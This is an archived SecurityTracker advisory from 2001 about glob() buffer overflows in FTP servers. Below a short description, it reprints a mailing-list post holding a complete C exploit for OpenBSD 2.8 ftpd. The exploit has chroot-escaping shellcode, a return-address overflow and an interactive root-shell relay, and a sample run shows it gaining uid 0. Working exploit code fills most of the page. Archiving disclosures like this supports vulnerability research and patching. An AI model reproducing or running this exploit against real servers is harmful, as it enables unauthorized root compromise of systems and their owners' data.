SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (File Transfer/Sharing)  >   FTP (Generic) Vendors:   FreeBSD, HPE, NetBSD, OpenBSD, SGI (Silicon Graphics), Sun
(Exploit Code for OpenBSD) Re: Several FTP Server Implementations Allow Remote Users to Obtain Root-Level Privileges on the Server
SecurityTracker Alert ID:  1001323
SecurityTracker URL:  http://securitytracker.com/id/1001323
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 17 2001
Impact:   Execution of arbitrary code via local system, Execution of arbitrary code via network, Root access via local system, Root access via network


Description:   Network Associates COVERT Labs issued an advisory (COVERT-2001-02) for multiple FTP server implementations. These implementations allow remote and local users to obtain root-level privileges on the server.

In general, if the remote user has the ability to create directories on the FTP server, these vulnerabilities can be exploited. The vulnerabilities are related to the use of the glob() function. In some cases, user input that has been expanded by glob() can exceed expected boundary lengths and trigger a buffer overflow. In other cases, the glob() function contains other buffer overflows.

The source message contains demonstration exploit code for OpenBSD.

Impact:   A remote or local user can obtain root privileges on the FTP server.
Solution:   Each vendor is releasing separate advisories. Please contact your vendor for details, or refer to the follow-up Alerts in the Message History.
Cause:   Boundary error
Underlying OS:  UNIX (OpenBSD)

Message History:   This archive entry is a follow-up to the message listed below.
Apr 10 2001 Several FTP Server Implementations Allow Remote Users to Obtain Root-Level Privileges on the Server



 Source Message Contents

Subject:  OpenBSD 2.8 ftpd/glob exploit (breaks chroot)


I thought I'd wait till after the weekend before posting this. Here goes:

/*
OpenBSD 2.x - 2.8 ftpd exploit.
  It is possible to exploit an anonymous ftp without write permission
  under certain circumstances. One is most likely to succeed if there
  is a single directory somewhere with more than 16 characters in its
  name.
  Of course, if one has write permissions, one could easily create
  such a directory.
  My return values aren't that good. Find your own.
  Patch is available at http://www.openbsd.org/errata.html
Example:
  ftp> pwd
  257 "/test" is current directory.
  ftp> dir
  229 Entering Extended Passive Mode (|||12574|)
  150 Opening ASCII mode data connection for '/bin/ls'.
  total 2
  drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
  226 Transfer complete.
.....
  $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
  // 230 Guest login ok, access restrictions apply.
  // 250 CWD command successful.
  retaddr = dfbeb970
  Press enter..
  remember to remove the "adfa"-dir
  id
  uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
The shellcode basically does:
  seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
  chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
    chdir("..");
  chroot(".."); execve("/bin//sh", ..);
Credits:
  COVERT for their advisory.
  The OpenBSD devteam for a great OS.
  beercan for letting me test this on his OpenBSD 2.8-RELEASE
Author:
  Tomas Kindahl <stok@codefactory.se>
  Stok@{irc,ef}net
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

extern char *optarg;
static int debug;
int cflag, lflag, sflag;

/* The execve-part was stolen from "predator" */
char shellcode[] =
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x58\x50\x66\x68\x2e\x2e\x89\xe1"
"\x50\x51\x50\xb0\x05\xcd\x80\x89"
"\xc3\x58\x50\x68\x61\x64\x66\x61"
"\x89\xe2\x66\x68\x6d\x01\x52\x50"
"\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
"\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
"\x80\x51\x50\x31\xc9\xb1\x64\xb0"
"\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x50\x54\x53\xb0\x3b\x50"
"\xcd\x80\xc3";

#define USER "USER ftp\r\n"
#define PASS "PASS -user@\r\n"

void usage(const char *);
void docmd(int s, const char *cmd, int print);
void communicate(int s);

int main(int argc, char *argv[])
{
  char expbuf[512] = "LIST ", *basedir, option;
  char commandbuf[512] = "", *hostname;
  int cnt, dirlen, explen, sendlen;
  int s, port = 21, pad;
  long retaddr;
  struct sockaddr_in sin;
  struct hostent *he;

  while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
    switch(option)
      {
      case 'd':
        debug++;
        break;
      case 'c':
        cflag = 1;
        basedir = optarg;
        break;
      case 'l':
        lflag = 1;
        dirlen = atoi(optarg);
        if(dirlen < 16)
          {
            usage(argv[0]);
            exit(0);
          }
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 's':
        sflag = 1;
        retaddr = strtoul(optarg, 0, 0);
        break;
      default:
        usage(argv[0]);
        exit(0);
      }

  if(!cflag || !lflag)
    {
      usage(argv[0]);
      exit(0);
    }

  if(argc - optind == 1)
    hostname = argv[optind];
  else
    {
      usage(argv[0]);
      exit(0);
    }

  if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      exit(1);
    }

  if((he = gethostbyname(hostname)) == NULL)
    {
      herror(hostname);
      exit(0);
    }
  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
  if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      exit(0);
    }

  if(debug)
    fprintf(stderr, "// basedir = \"%s\"\n", basedir);

  /* "untrusted input"? */
  for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
    strcat(expbuf, "*/../");
  strcat(expbuf, "*/");
  if(debug)
    fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);

  explen = cnt*(dirlen+4) + dirlen + 1;
  if(debug)
    fprintf(stderr, "// explen = %d\n", explen);

  sendlen = strlen(expbuf);
  if(debug)
    fprintf(stderr, "// sendlen = %d\n", sendlen);

  docmd(s, "", 0);

  docmd(s, USER, 0);
  docmd(s, PASS, 1);

  snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
  docmd(s, commandbuf, 1);


/*************************/

  pad = 1027 - explen;
  if(debug)
    fprintf(stderr, "// pad = %d\n", pad);

  for(; pad >= 0; pad--)
    strcat(expbuf, "x");

  /* return address */
  if(!sflag)
    {
      switch(dirlen)
        {
        case 16:
          retaddr = 0xdfbeab60;
        case 26:
          retaddr = 0xdfbefe40;
        default:
          /* I don't have the patience to investigate this. */
          retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
        }
      retaddr+=20;
    }

  fprintf(stderr, "retaddr = %.8lx\n", retaddr);
  /* endian dependant */
  strncat(expbuf, (char *) &retaddr, 4);

  for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
    strcat(expbuf, "\x90");

  strcat(expbuf, shellcode);

  strcat(expbuf, "\r\n");
/*************************/

  fprintf(stderr, "Press enter.."); fflush(stderr);
  fgets(commandbuf, sizeof(commandbuf)-1, stdin);

  docmd(s, expbuf, 0);

  fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
  communicate(s);

  return 0;
}

void usage(const char *s)
{
  fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
}

void docmd(int s, const char *cmd, int print)
{
  char uglybuf[1024];
  int len;
  fd_set rfds;
  struct timeval tv;

  len = strlen(cmd);
  if(debug)
    {
      write(STDERR_FILENO, "\\\\ ", 3);
      write(STDERR_FILENO, cmd, len);
    }
  if(send(s, cmd, len, 0) != len)
    {
      perror("send");
      exit(0);
    }

  FD_ZERO(&rfds);
  FD_SET(s, &rfds);
  tv.tv_sec = 1;
  tv.tv_usec = 0;
  select(s+1, &rfds, NULL, NULL, &tv);
  if(FD_ISSET(s, &rfds))
    {
      if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
        {
          perror("recv");
          exit(0);
        }
      if(len == 0)
        {
          fprintf(stderr, "EOF on socket. Sorry.\n");
          exit(0);
        }
      if(debug || print)
        {
          write(STDERR_FILENO, "// ", 3);
          write(STDERR_FILENO, uglybuf, len);
        }
    }
}

void communicate(int s)
{
  char buf[1024];
  int len;
  fd_set rfds;

  while(1)
    {
      FD_ZERO(&rfds);
      FD_SET(STDIN_FILENO, &rfds);
      FD_SET(s, &rfds);
      select(s+1, &rfds, NULL, NULL, NULL);
      if(FD_ISSET(STDIN_FILENO, &rfds))
        {
          if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
            return;
          if(send(s, buf, len, 0) == -1)
            return;
        }
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
            return;
          if(write(STDOUT_FILENO, buf, len) == -1)
            return;
        }
    }
}

--
Tomas Kindahl                    tomas.kindahl@codefactory.se
CodeFactory AB                   http://www.codefactory.se/
Office: +46 (0)90 71 86 13       Cell: +46 (0)73 922 92 30

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC